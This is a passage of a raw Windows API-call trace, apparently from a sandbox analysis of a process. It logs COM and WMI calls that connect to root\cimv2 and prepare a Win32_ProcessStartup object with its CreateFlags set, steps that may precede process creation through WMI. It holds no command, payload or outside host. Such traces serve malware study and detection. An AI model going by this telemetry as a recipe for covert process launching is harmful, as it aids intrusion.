Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0127.416] IUnknown:Release (This=0x6124e8) returned 0x1 [0127.416] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b483bd0) returned 0x0 [0127.417] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483bd0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0127.417] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b483bd0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b483d70) returned 0x0 [0127.417] WbemLocator:IUnknown:Release (This=0x1b483bd0) returned 0x0 [0127.417] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483d70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b483d70) returned 0x0 [0127.417] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483d70, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0127.417] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483d70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0127.417] WbemLocator:IUnknown:AddRef (This=0x1b483d70) returned 0x3 [0127.417] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483d70, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0127.417] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483d70, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0127.418] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483d70, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0127.418] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0127.418] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0127.418] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483d70, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0127.418] WbemLocator:IUnknown:Release (This=0x1b483d70) returned 0x2 [0127.418] WbemLocator:IUnknown:Release (This=0x1b483d70) returned 0x1 [0127.418] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0127.418] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0127.418] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483d70, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b483d70) returned 0x0 [0127.418] WbemLocator:IUnknown:AddRef (This=0x1b483d70) returned 0x3 [0127.418] WbemLocator:IUnknown:Release (This=0x1b483d70) returned 0x2 [0127.418] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af220, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0127.419] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0127.419] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.419] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b483a70) returned 0x0 [0127.419] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b483a70, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x63bb70) returned 0x0 [0127.851] WbemLocator:IUnknown:QueryInterface (in: This=0x63bb70, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b511ef0) returned 0x0 [0127.851] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511ef0, pProxy=0x63bb70, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0127.851] WbemLocator:IUnknown:Release (This=0x1b511ef0) returned 0x1 [0127.851] WbemLocator:IUnknown:QueryInterface (in: This=0x63bb70, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b511f38) returned 0x0 [0127.851] WbemLocator:IUnknown:QueryInterface (in: This=0x63bb70, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b511ef0) returned 0x0 [0127.851] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511ef0, pProxy=0x63bb70, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0127.851] WbemLocator:IUnknown:Release (This=0x1b511ef0) returned 0x2 [0127.851] WbemLocator:IUnknown:Release (This=0x1b511f38) returned 0x1 [0127.851] CoTaskMemFree (pv=0x1b461ca0) [0127.852] WbemLocator:IUnknown:Release (This=0x1b483a70) returned 0x0 [0127.852] WbemLocator:IUnknown:QueryInterface (in: This=0x63bb70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b511f38) returned 0x0 [0127.852] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0127.855] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0127.964] WbemLocator:IUnknown:QueryInterface (in: This=0x63bb70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0127.976] WbemLocator:IUnknown:AddRef (This=0x1b511f38) returned 0x3 [0127.976] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0127.976] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0127.976] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b511e18) returned 0x0 [0127.976] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b511e18, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.976] WbemLocator:IUnknown:Release (This=0x1b511e18) returned 0x3 [0127.976] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0127.976] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0127.976] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b511f00) returned 0x0 [0127.976] WbemLocator:IRpcOptions:Query (in: This=0x1b511f00, pPrx=0x1b511f38, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0127.976] WbemLocator:IUnknown:Release (This=0x1b511f00) returned 0x3 [0127.976] WbemLocator:IUnknown:Release (This=0x1b511f38) returned 0x2 [0127.976] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0127.976] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0127.976] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x63bb70) returned 0x0 [0127.976] WbemLocator:IUnknown:AddRef (This=0x63bb70) returned 0x4 [0127.976] WbemLocator:IUnknown:Release (This=0x63bb70) returned 0x3 [0127.976] WbemLocator:IUnknown:Release (This=0x63bb70) returned 0x2 [0127.976] SysStringLen (param_1=0x0) returned 0x0 [0127.977] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0127.977] WbemLocator:IUnknown:AddRef (This=0x1b511f38) returned 0x3 [0127.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b511f38) returned 0x0 [0127.977] WbemLocator:IUnknown:Release (This=0x1b511f38) returned 0x3 [0127.977] WbemLocator:IUnknown:Release (This=0x1b511f38) returned 0x2 [0127.977] WbemDefPath:IWbemPath:GetText (in: This=0x1b4affa0, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0127.977] WbemDefPath:IWbemPath:GetText (in: This=0x1b4affa0, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0127.977] IWbemServices:GetObject (in: This=0x63bb70, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4d6b40, ppCallResult=0x0) returned 0x0 [0127.981] IWbemClassObject:Get (in: This=0x1b4d6b40, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0127.981] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0127.981] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0127.981] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0127.981] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0127.981] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0127.981] IUnknown:Release (This=0x6124e8) returned 0x1 [0127.982] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b482910) returned 0x0 [0127.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482910, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0127.982] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482910, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4b0060) returned 0x0 [0127.983] WbemDefPath:IUnknown:Release (This=0x1b482910) returned 0x0 [0127.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4b0060) returned 0x0 [0127.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0127.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0127.983] WbemDefPath:IUnknown:AddRef (This=0x1b4b0060) returned 0x3 [0127.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0127.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0127.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b482330) returned 0x0 [0127.983] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482330, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.983] WbemDefPath:IUnknown:Release (This=0x1b482330) returned 0x3 [0127.983] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0127.983] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0127.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0127.983] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x2 [0127.983] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x1 [0127.983] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0127.983] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0127.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4b0060) returned 0x0 [0127.984] WbemDefPath:IUnknown:AddRef (This=0x1b4b0060) returned 0x3 [0127.984] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x2 [0127.984] WbemDefPath:IWbemPath:SetText (This=0x1b4b0060, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0127.984] IWbemClassObject:Get (in: This=0x1b4d6b40, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26e46e8*=0, plFlavor=0x26e46ec*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26e46e8*=19, plFlavor=0x26e46ec*=0) returned 0x0 [0127.984] IWbemClassObject:Get (in: This=0x1b4d6b40, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26e46e8*=19, plFlavor=0x26e46ec*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26e46e8*=19, plFlavor=0x26e46ec*=0) returned 0x0 [0127.984] IWbemClassObject:Put (This=0x1b4d6b40, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0127.984] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0127.984] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0127.984] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0127.984] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.984] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0127.984] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0127.984] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0127.984] IUnknown:Release (This=0x6124e8) returned 0x1 [0127.985] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4828d0) returned 0x0 [0127.985] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4828d0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0127.985] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4828d0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4aee60) returned 0x0 [0127.985] WbemDefPath:IUnknown:Release (This=0x1b4828d0) returned 0x0 [0127.985] WbemDefPath:IUnknown:QueryInterface (in: 